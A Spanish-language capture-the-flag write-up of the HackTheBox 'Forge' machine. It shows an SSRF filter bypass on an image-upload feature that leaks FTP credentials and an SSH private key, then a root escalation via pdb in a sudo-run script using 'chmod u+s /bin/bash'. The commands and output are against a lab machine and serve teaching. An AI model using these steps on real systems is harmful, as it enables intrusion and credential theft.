Forge es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Forge 10.10.11.111 a /etc/hosts como forge.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
# Nmap 7.92 scan initiated Fri Dec 24 10:08:48 2021 as: nmap -sV -sC -Pn -oA enumeration/nmap 10.10.11.111 Nmap scan report for forge.htb (10.10.11.111) Host is up (0.044s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp filtered ftp 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA) | 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA) |_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519) 80/tcp open http Apache httpd 2.4.41 |_http-title: Gallery |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Dec 24 10:08:59 2021 -- 1 IP address (1 host up) scanned in 11.12 seconds |
En este caso observamos un puerto 21 para el servicio ftp, para el cual no tenemos acceso, un puerto 22 para ssh para el cual no disponemos de credenciales y un puerto 80 con un portal web, que será nuestro punto de partida a continuación.
Enumeración
Como indicábamos vamos a comenzar por el portal web en el puerto 80 donde vemos la siguiente pantalla
Vemos una página simple con un enlace a una página de subida de imágenes
Hacemos una prueba de subir una reverse shell pero sin éxito así que vamos a seguir con el proceso de enumeración.
Buscamos por dos partes, en primer lugar enumeramos directorios con gobuster
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ gobuster dir -u http://forge.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://forge.htb/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/12/24 10:20:07 Starting gobuster in directory enumeration mode =============================================================== /uploads (Status: 301) [Size: 224] [--> http://forge.htb/uploads/] /static (Status: 301) [Size: 307] [--> http://forge.htb/static/] /upload (Status: 200) [Size: 929] =============================================================== 2021/12/24 10:18:04 Finished =============================================================== |
No vemos nada relevante, y debido a que gobuster saca demasiados falsos positivos, utilizaremos ffuf para enumerar subdominios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ ffuf -u http://forge.htb/ -w /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.forge.htb" -t 200 -fl 10 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.3.1 Kali Exclusive <3 ________________________________________________ :: Method : GET :: URL : http://forge.htb/ :: Wordlist : FUZZ: /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt :: Header : Host: FUZZ.forge.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 200 :: Matcher : Response status: 200,204,301,302,307,401,403,405 :: Filter : Response lines: 10 ________________________________________________ admin [Status: 200, Size: 27, Words: 4, Lines: 2] ADMIN [Status: 200, Size: 27, Words: 4, Lines: 2] :: Progress: [114532/114532] :: Job [1/1] :: 4187 req/sec :: Duration: [0:00:40] :: Errors: 0 :: |
Y descubrimos un subdominio nuevo que añadimos en nuestro fichero hosts, aunque acceder a través del navegador parece que no es la forma correcta
Viendo que no podemos hacer nada, tratamos de hacerlo a través de la sección de subida de imágenes por url pero devuelve errores con las direcciones locales o con admin.forge.htb
Así que hacemos algunas pruebas y conseguimos saltar la restricción colocando el nombre en mayúsculas
A través del navegador parece que no tenemos éxito ya que internamente intenta cargar una imagen, así que hacemos un curl a la url generada y obtenemos lo siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ curl http://forge.htb/uploads/ikYqVw2PPZCgeAPPDzab <!DOCTYPE html> <html> <head> <title>Admin Portal</title> </head> <body> <link rel="stylesheet" type="text/css" href="/static/css/main.css"> <header> <nav> <h1 class=""><a href="/">Portal home</a></h1> <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1> <h1 class="align-right"><a href="/upload">Upload image</a></h1> </nav> </header> <br><br><br><br> <br><br><br><br> <center><h1>Welcome Admins!</h1></center> </body> </html> |
Observamos una uri nueva /announcements así que vamos a repetir el proceso añadiendo esta uri
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
$ curl http://forge.htb/uploads/Mg4fSDQeQc6Vga0rk5mY <!DOCTYPE html> <html> <head> <title>Announcements</title> </head> <body> <link rel="stylesheet" type="text/css" href="/static/css/main.css"> <link rel="stylesheet" type="text/css" href="/static/css/announcements.css"> <header> <nav> <h1 class=""><a href="/">Portal home</a></h1> <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1> <h1 class="align-right"><a href="/upload">Upload image</a></h1> </nav> </header> <br><br><br> <ul> <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li> <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li> <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li> </ul> </body> </html> |
Esto ya va cogiendo forma, conseguimos las credenciales de ftp y también información de como acceder
|
1 2 |
The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url. The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>. |
Así que siguiendo la explicación accederemos al ftp a través de la subida por url con el siguiente formato
|
1 |
http://ADMIN.FORGE.HTB/upload?u=ftp://user:password@host |
Y conseguimos enumerar la home del usuario user
|
1 2 3 |
$ curl http://forge.htb/uploads/oQ2NN93hnnKaqM2XHCFx drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap -rw-r----- 1 0 1000 33 Dec 24 09:05 user.txt |
Tratamos de intentar obtener la clave ssh del usuario y vemos que la misma existe
|
1 2 3 4 |
$ curl http://forge.htb/uploads/64bdgrbSMYkSKNeDo6x6 -rw------- 1 1000 1000 564 May 31 2021 authorized_keys -rw------- 1 1000 1000 2590 May 20 2021 id_rsa -rw------- 1 1000 1000 564 May 20 2021 id_rsa.pub |
Así que haremos una última petición para obtenerla
|
1 2 3 4 5 6 7 8 |
$ curl http://forge.htb/uploads/rY1se4j4PDYke5B7SVNG -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3 ... ... shlLupso7WoS0AAAAKdXNlckBmb3JnZQE= -----END OPENSSH PRIVATE KEY----- |
Ahora que tenemos la clave, accedemos por ssh y estamos dentro de la máquina
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
$ ssh -i user.pem user@forge.htb The authenticity of host 'forge.htb (10.10.11.111)' can't be established. ECDSA key fingerprint is SHA256:e/qp97tB7zm4r/sMgxwxPixH0d4YFnuB6uKn1GP5GTw. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'forge.htb,10.10.11.111' (ECDSA) to the list of known hosts. Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri 24 Dec 2021 09:52:01 AM UTC System load: 0.0 Processes: 226 Usage of /: 44.4% of 6.82GB Users logged in: 0 Memory usage: 32% IPv4 address for eth0: 10.10.11.111 Swap usage: 0% 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Fri Aug 20 01:32:18 2021 from 10.10.14.6 user@forge:~$ id uid=1000(user) gid=1000(user) groups=1000(user) user@forge:~$ |
Obteniendo la flag de user
Una vez dentro de la máquina sólo nos queda obtener la flag del usuario user
|
1 2 3 4 5 6 7 |
user@forge:~$ ls -l total 8 drwxr-xr-x 3 user user 4096 Aug 4 19:23 snap -rw-r----- 1 root user 33 Dec 24 09:05 user.txt user@forge:~$ cat user.txt fxxxxxxxxxxxxxxxxxxxxxxxxx0 user@forge:~$ |
Escalado de privilegios
Revisaremos en primer lugar los permisos que tiene el usuario
|
1 2 3 4 5 6 |
user@forge:~$ sudo -l Matching Defaults entries for user on forge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User user may run the following commands on forge: (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py |
Y observamos que tiene permisos para ejecutar como sudo el script /opt/remote-manage.py cuyo contenido es el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
#!/usr/bin/env python3 import socket import random import subprocess import pdb port = random.randint(1025, 65535) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('127.0.0.1', port)) sock.listen(1) print(f'Listening on localhost:{port}') (clientsock, addr) = sock.accept() clientsock.send(b'Enter the secret passsword: ') if clientsock.recv(1024).strip().decode() != 'secretadminpassword': clientsock.send(b'Wrong password!\n') else: clientsock.send(b'Welcome admin!\n') while True: clientsock.send(b'\nWhat do you wanna do: \n') clientsock.send(b'[1] View processes\n') clientsock.send(b'[2] View free memory\n') clientsock.send(b'[3] View listening sockets\n') clientsock.send(b'[4] Quit\n') option = int(clientsock.recv(1024).strip()) if option == 1: clientsock.send(subprocess.getoutput('ps aux').encode()) elif option == 2: clientsock.send(subprocess.getoutput('df').encode()) elif option == 3: clientsock.send(subprocess.getoutput('ss -lnt').encode()) elif option == 4: clientsock.send(b'Bye\n') break except Exception as e: print(e) pdb.post_mortem(e.__traceback__) finally: quit() |
Si vemos el código y lo analizamos obtenemos un fallo en el mismo, en la línea
|
1 |
option = int(clientsock.recv(1024).strip()) |
Carga el valor introducido como un entero, pero no hay ninguna excepción que controle si realmente se ha introducido ese tipo de valor o no, así que vamos a tratar de explotarla de esa forma.
Ejecutamos en primer lugar el script
|
1 2 |
user@forge:/opt$ sudo /usr/bin/python3 /opt/remote-manage.py Listening on localhost:5109 |
Y, en otra ventana, conectamos al puerto que abre con netcat
|
1 2 3 4 5 6 7 8 9 |
user@forge:~$ nc localhost 5109 Enter the secret passsword: secretadminpassword Welcome admin! What do you wanna do: [1] View processes [2] View free memory [3] View listening sockets [4] Quit |
Si llegados a este punto en lugar de introducir un valor entero introducimos por ejemplo el carácter ‘a’ devolverá un error y nos dará una terminal en python
|
1 2 3 4 5 6 |
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py Listening on localhost:13253 invalid literal for int() with base 10: b'a' > /opt/remote-manage.py(27)<module>() -> option = int(clientsock.recv(1024).strip()) (Pdb) |
En este caso, nosotros le damos permisos de suid al ejecutable de bash, aunque hay más formas de poder hacer esta explotación
|
1 2 3 4 |
(Pdb) import os (Pdb) os.system('chmod u+s /bin/bash') 0 (Pdb) exit |
Una vez hecho, cerramos y lanzamos bash para escalar a root
|
1 2 3 |
user@forge:~$ /bin/bash -p bash-5.0# id uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) |
Obteniendo la flag de root
Ahora que somos root, sólo nos queda obtener la flag
|
1 2 3 4 5 |
bash-5.0# id uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user) bash-5.0# cat /root/root.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxxxc bash-5.0# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
